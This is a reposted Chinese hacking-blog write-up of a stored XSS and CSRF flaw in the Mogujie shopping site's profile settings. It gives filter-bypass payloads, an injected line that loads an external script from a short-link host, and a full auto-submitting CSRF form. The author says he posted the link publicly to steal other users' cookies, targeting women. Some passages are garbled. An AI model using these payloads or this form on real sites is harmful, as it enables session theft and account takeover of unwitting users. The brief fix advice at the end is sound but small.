记录黑客技术中优秀的内容, 传播黑客文化,分享黑客技术精华

蘑菇街CSRF+存储XSS加载任意脚本,可获取妹子cookie

2013-04-23 09:20
蘑菇街在用户信息配置出,对用户提交过滤不严


该问题去年老早就发现了,只是不认识蘑菇街的人,无法转告,去年提交wooyun没有通过。所以一直搁置了。最近鼠标坏了,做事不方便,在硬盘里面放到笔记,于是再次提交混混运气。
 
 
进入网页http://www.mogujie.com/settings/personal
改页面为修改用户配置信息,查看代码得知几乎所有的地方都是输出在html标签内,但是细心下可以发现,用户的所在地输出在JS语句中。 
 
通过手工测试,发现没有过滤单引号,这时候发现有搞头了,没有过滤单引号,那就意味着我们可以闭合该处的JS语句。
心情很愉悦,于是提交身份字段:’);eval(alert(123));准备让我等穷?潘刻教矫弥酵嫱妫?闹?捞峤缓螅?馔獾姆⑾置挥械?颍??肺业惹?潘苛恕8峡炜纯创?搿?/div>
 
 
居然把弹妹必备的关键词大杀器全都给屏蔽了,然我等穷?潘坑制?旨薄2恍邪。??澳敲春猛妫?荒芊牌? S幸桓鲆??乃悸烦隼茨瘛?/div>
在网页中,HTML解析权优先于JS解析权高,我们可以把敏感词汇直接HTML编码后再提交,嘿嘿,叫你淫荡,叫你下流,叫你肮脏,哥必须爆你菊花。
 
提交省份字段数据为:%27%29%3B%26%23101%3Bval%28a%26%23108%3Bert%28123%29%29%3B (');eval(alert(123));的URL编码,为什么要编码呢,因为里面有&符号)
 
 
 
 
没有弹JJ,看源码,我那个去啊,V5的程序员,你肿了,单引号你不过滤,你过滤#号干嘛,#号跟你有仇啊。
嘿嘿嘿嘿嘿嘿嘿嘿嘿嘿嘿嘿嘿嘿嘿嘿嘿嘿嘿嘿嘿嘿嘿嘿嘿嘿嘿嘿嘿嘿嘿嘿嘿嘿嘿嘿嘿嘿嘿嘿嘿嘿嘿嘿嘿嘿嘿嘿嘿嘿嘿嘿嘿嘿嘿嘿嘿嘿嘿嘿嘿嘿嘿嘿嘿嘿嘿嘿嘿嘿
HTML编码不行,我们还有亲爱的unicode编码,今天怎么都要TJJ,’);eval(alert(123)); 对二个敏感词汇进行编码 ,编码成:’); \u0065val(\u0061lert(123));
提交后居然弹JJ了。爽歪歪啊,我们再来获取cookie,加载一个外部JS来看看。提交代码’); \u0065val('window.s=docum\u0065nt.creat\u0065Element(String.fromCharCode(115,99,114,105,112,116));window.s.src=String.fromCharCode(104,116,116,112,58,47,47,120,115,115,46,109,101,47,49,50,49,50);docum\u0065nt.body.app\u0065ndChild(window.s)')
 
再查看源码,我那个去啊,被截断了,被截断了,真苦逼啊。没有办法,值得精简playlaod了
提交省份数据为:123456789012345678901234567890123456789012345678901234567890,N多个,查看能输入多少代码。
 
 
数了一下,可以输入30个字符,然后市区也可以输入30个字符。一共合计60个字符,再除去注释符号/**/4个字符,加载闭合字符’,和’);5个字符,也就是说可以用的字符也就50个。用unicode编码字符怎么都不够的。看来还是等利用其他方法。
 
继续苦力手工fuzzing,查看他过滤了什么:经过苦力测试,发现 " > & 使用了html编码转意了,小于号及其以后字符被过滤了,字符串 asa<123213会被过滤成asa 。eval alert document等常见的JS语句都循环过滤了evaleval会过滤成空,但是\eval不会过滤。在前端找了一下,没有发现过滤规则,那就说明过滤的正则放在后面,使用的是黑名单,既然是黑名单肯定有遗漏的函数没有过滤。查看了页面,发现很绚丽,在head里面居然发现了jquery,真是太爽了,天祝我也。提交:province=*/'//126.am/dTPsg2');//&city=','');jQuery.getScript(/*
jQuery. getScript可以缩写成$.getScript
省份与市区中间的单引号用/**/注释掉。提交后成功补齐。
 
在浏览器中打开,成功获得敏感信息。
 
到现在为止,还只能自己弹自己,不能弹妹子。很多时间厂家都不会在乎这样的漏洞,认为危害很小。那我们再来穷?潘勘涓吒凰О伞=?荒艿?约旱囊趁娓奈??械?弥健?/div>
我们在测试的时候发现了,在修改配置的时候可以直接修改。哦买糕,存在CSRF漏洞。哈哈,看来变成高富帅指日可待了。根据需要提交的数据结构,构造表单如下。
 
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml" >
<head >
<title>无标题页</title>
<script type="text/javascript">
function send()
{
var f=document.getElementById("reg");
f.submit();
}
</script>
</head>
<body onload="send()">
<form action="http://www.mogujie.com/settings/personal" id="reg" method="post" style="display:none">
<input type="text" name="unick" value="xxoo_ooxx">
<input type="text" name="sex" value="2">
<input type="text" name="weibo" value="">
<input type="text" name="province" value="*/'//126.am/dTPsg2');//">
<input type="text" name="city" value="','');jQuery.getScript(/*">
<input type="text" name="born[]" value="2008">
<input type="text" name="born[]" value="2">
<input type="text" name="born[]" value="2">
<input type="text" name="constellation" value="">
<input type="text" name="profession" value="">
<input type="text" name="univs" value="">
<input type="text" name="univsyear" value="">
<input type="text" name="department" value="1">
<input type="text" name="isSeeFigure" value="1">
<input type="text" name="height" value="">
<input type="text" name="weight" value="">
<input type="text" name="bwhB" value="">
<input type="text" name="bwhW" value="">
<input type="text" name="bwhH" value="">
<input type="text" name="pskin" value="">
<input type="text" name="phair" value="">
<input type="text" name="shoesize" value="">
<input type="text" name="personstyle" value="">
<input type="text" name="introduce" value="">
</form>
</body>
</html>
 
HTML代码的作用就是,妹纸流量该页面的时候,会自动修改配置,并跳转到XSS代码处。OK到此结束。我们将HTML代码上传到网站上面去,然后把link发布到蘑菇街的小组,或者百度贴吧,顶点收cookie,坐看弹妹纸。
http://mogujie.cn/aZfcn
 
以下为收集的cookie
 



 
 
话说蘑菇街贴非信任外链还有一个提示,当初准备测试看能否绕过去的。哪知道妹子们太敬业了,发几个link帐号就被封了,注册了几个被封几个,最后放弃了,有朋友有兴趣可以去测试哈。
 
 
修复方案:

1.加token防止CSRF。 referrer来验证太不靠谱了。
2.我想不通省份,地区干嘛要用户提交。
既然用户提交的,那就过滤严格。在javascript标签中输出的特殊字符(除了字母、数字以外的字符)都编码为0xHH格式。这个应该没有办法绕过了吧。 
 

阅读:89084 | 评论:0 | 标签:xss CSRF

想收藏或者和大家分享这篇好文章→复制链接地址

“蘑菇街CSRF+存储XSS加载任意脚本,可获取妹子cookie”共有0条留言

发表评论

姓名:

邮箱:

网址:

验证码:

公告

关注公众号hackdig,学习最新黑客技术

推广

工具

标签云